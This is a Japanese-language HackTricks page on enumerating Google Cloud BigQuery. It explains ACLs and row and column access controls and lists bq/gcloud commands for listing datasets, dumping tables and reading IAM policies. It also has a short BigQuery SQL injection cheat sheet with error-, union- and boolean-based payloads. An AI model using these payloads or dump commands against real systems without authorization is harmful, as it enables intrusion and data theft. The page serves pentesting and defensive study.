GCP - Bigquery Enum

Reading time: 11 minutes

tip

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する：HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

基本情報

Google Cloud BigQueryは、完全管理型のサーバーレスエンタープライズデータウェアハウスであり、ペタバイトのデータに対する分析機能を提供し、大規模データセットを効率的に処理します。プラットフォームとしてのサービス（PaaS）として、手動の監視なしでデータ管理を容易にするためのインフラとツールをユーザーに提供します。

ANSI SQLを使用したクエリをサポートしています。主なオブジェクトは、テーブルを含むデータセットであり、SQL データを含みます。

暗号化

デフォルトでは、Google管理の暗号化キーが使用されますが、**顧客管理の暗号化キー（CMEK）**を構成することも可能です。データセット内の各データセットおよびテーブルごとに暗号化キーを指定することができます。

有効期限

データセットに有効期限を指定することができ、このデータセット内で作成された新しいテーブルは、作成後に指定された日数が経過すると自動的に削除されます。

外部ソース

Bigqueryは他のGoogleサービスと深く統合されています。バケット、pub/sub、Google Drive、RDSデータベースからデータをロードすることが可能です...

データセットACL

データセットが作成されると、ACLが添付され、アクセスが付与されます。デフォルトでは、データセットを作成したユーザーにオーナー権限が与えられ、その後プロジェクトのオーナーグループであるprojectOwnersにオーナー、projectWritersグループにライター、projectReadersグループにリーダーが与えられます。

bash
bq show --format=prettyjson <proj>:<dataset>

...
"access": [
{
"role": "WRITER",
"specialGroup": "projectWriters"
},
{
"role": "OWNER",
"specialGroup": "projectOwners"
},
{
"role": "OWNER",
"userByEmail": "gcp-admin@hacktricks.xyz"
},
{
"role": "OWNER",
"userByEmail": "support@hacktricks.xyz"
},
{
"role": "READER",
"specialGroup": "projectReaders"
}
],
...

テーブル行のアクセス制御

テーブル内でプリンシパルがアクセスできる行を制御することが可能です。これは行アクセスポリシーを使用して定義されます。これらはテーブル内でDDLを使用して定義されます。
アクセスポリシーはフィルターを定義し、そのフィルターに一致する行のみが指定されたプリンシパルによってアクセス可能になります。

sql
# Create
CREATE ROW ACCESS POLICY apac_filter
ON project.dataset.my_table
GRANT TO ('user:abc@example.com')
FILTER USING (region = 'APAC');

# Update
CREATE OR REPLACE ROW ACCESS POLICY
CREATE ROW ACCESS POLICY sales_us_filter
ON project.dataset.my_table
GRANT TO ('user:john@example.com',
'group:sales-us@example.com',
'group:sales-managers@example.com')
FILTER USING (region = 'US');

# Check the Post Exploitation tricks to see how to call this from the cli
bash
# Enumerate row policies on a table
bq ls --row_access_policies <proj>:<dataset>.<table> # Get row policies

カラムアクセス制御

カラムレベルでデータアクセスを制限するには：

  1. 分類法とポリシータグを定義する。データのための分類法とポリシータグを作成および管理します。 https://console.cloud.google.com/bigquery/policy-tags
  2. オプション：作成したポリシータグの1つまたは複数に対して、データカタログの細かい読み取り者ロールを1人以上の主体に付与する。
  3. ポリシータグをBigQueryのカラムに割り当てる。BigQueryでは、スキーマ注釈を使用して、アクセスを制限したい各カラムにポリシータグを割り当てます。
  4. 分類法に対してアクセス制御を強制する。アクセス制御を強制すると、分類法内のすべてのポリシータグに対して定義されたアクセス制限が適用されます。
  5. ポリシータグのアクセスを管理する。各ポリシータグへのアクセスを制限するために、アイデンティティとアクセス管理 (IAM) ポリシーを使用します。このポリシーは、ポリシータグに属する各カラムに対して有効です。

ユーザーがクエリ時にカラムデータにアクセスしようとすると、BigQueryはカラムポリシータグとそのポリシーを確認して、ユーザーがデータにアクセスする権限があるかどうかを判断します。

tip

要約すると、特定のユーザーに対していくつかのカラムへのアクセスを制限するには、スキーマ内のカラムにタグを追加し、ユーザーのタグへのアクセスを制限することで、タグの分類法に対してアクセス制御を強制できます。

分類法に対してアクセス制御を強制するには、サービスを有効にする必要があります：

bash
gcloud services enable bigquerydatapolicy.googleapis.com

列のタグを表示するには、次のようにします：

bash
bq show --schema <proj>:<dataset>.<table>

[{"name":"username","type":"STRING","mode":"NULLABLE","policyTags":{"names":["projects/.../locations/us/taxonomies/2030629149897327804/policyTags/7703453142914142277"]},"maxLength":"20"},{"name":"age","type":"INTEGER","mode":"NULLABLE"}]

列挙

bash
# Dataset info
bq ls # List datasets
bq ls -a # List all datasets (even hidden)
bq ls <proj>:<dataset> # List tables in a dataset
bq show --format=prettyjson <proj>:<dataset> # Get info about the dataset (like ACLs)

# Tables info
bq show --format=prettyjson <proj>:<dataset>.<table> # Get table info
bq show --schema <proj>:<dataset>.<table>  # Get schema of a table

# Get entries from the table
bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'
bq extract <dataset>.<table> "gs://<bucket>/table*.csv" # Use the * so it can dump everything in different files

# Insert data
bq query --nouse_legacy_sql 'INSERT INTO `digital-bonfire-410512.importeddataset.tabletest` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'
bq insert dataset.table /tmp/mydata.json

# Get permissions
bq get-iam-policy <proj>:<dataset> # Get dataset IAM policy
bq show --format=prettyjson <proj>:<dataset> # Get dataset ACLs
bq get-iam-policy <proj>:<dataset>.<table> # Get table IAM policy
bq ls --row_access_policies <proj>:<dataset>.<table> # Get row policies

# Taxonomies (Get the IDs from the shemas of the tables)
gcloud data-catalog taxonomies describe <taxonomi-ID> --location=<location>
gcloud data-catalog taxonomies list --location <location> #Find more
gcloud data-catalog taxonomies get-iam-policy <taxonomi-ID> --location=<location>

# Get jobs executed
bq ls --jobs=true --all=true
bq show --location=<location> show --format=prettyjson --job=true <job-id>

# Misc
bq show --encryption_service_account # Get encryption service account

BigQuery SQL Injection

さらなる情報はブログ投稿を確認してください: https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac。ここではいくつかの詳細が提供されます。

コメント:

  • select 1#from here it is not working
  • select 1/*between those it is not working*/ しかし最初のものは機能しません
  • select 1--from here it is not working

環境に関する情報を取得します:

  • 現在のユーザー: select session_user()
  • プロジェクトID: select @@project_id

行を連結:

  • すべてのテーブル名: string_agg(table_name, ', ')

データセット、テーブル、およびカラム名を取得:

  • プロジェクトおよびデータセット名:
sql
SELECT catalog_name, schema_name FROM INFORMATION_SCHEMA.SCHEMATA
  • データセットのすべてのテーブルの列およびテーブル名:
sql
# SELECT table_name, column_name FROM <proj-name>.<dataset-name>.INFORMATION_SCHEMA.COLUMNS

SELECT table_name, column_name FROM <project-name>.<dataset-name>.INFORMATION_SCHEMA.COLUMNS
  • 同じプロジェクト内の他のデータセット:
sql
# SELECT catalog_name, schema_name, FROM <proj-name>.INFORMATION_SCHEMA.SCHEMATA

SELECT catalog_name, schema_name, NULL FROM <project-name>.INFORMATION_SCHEMA.SCHEMATA

SQLインジェクションの種類:

  • エラーベース - キャスティング: select CAST(@@project_id AS INT64)
  • エラーベース - ゼロ除算: ' OR if(1/(length((select('a')))-1)=1,true,false) OR '
  • ユニオンベース（bigqueryではALLを使用する必要があります）: UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
  • ブールベース: ' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'#
  • 潜在的な時間ベース - 公共データセットの使用例: SELECT * FROM `bigquery-public-data.covid19_open_data.covid19_open_data` LIMIT 1000

ドキュメンテーション:

権限昇格 & ポストエクスプロイト

GCP - BigQuery Privesc

永続性

GCP - BigQuery Persistence

参考文献

tip

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する：HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする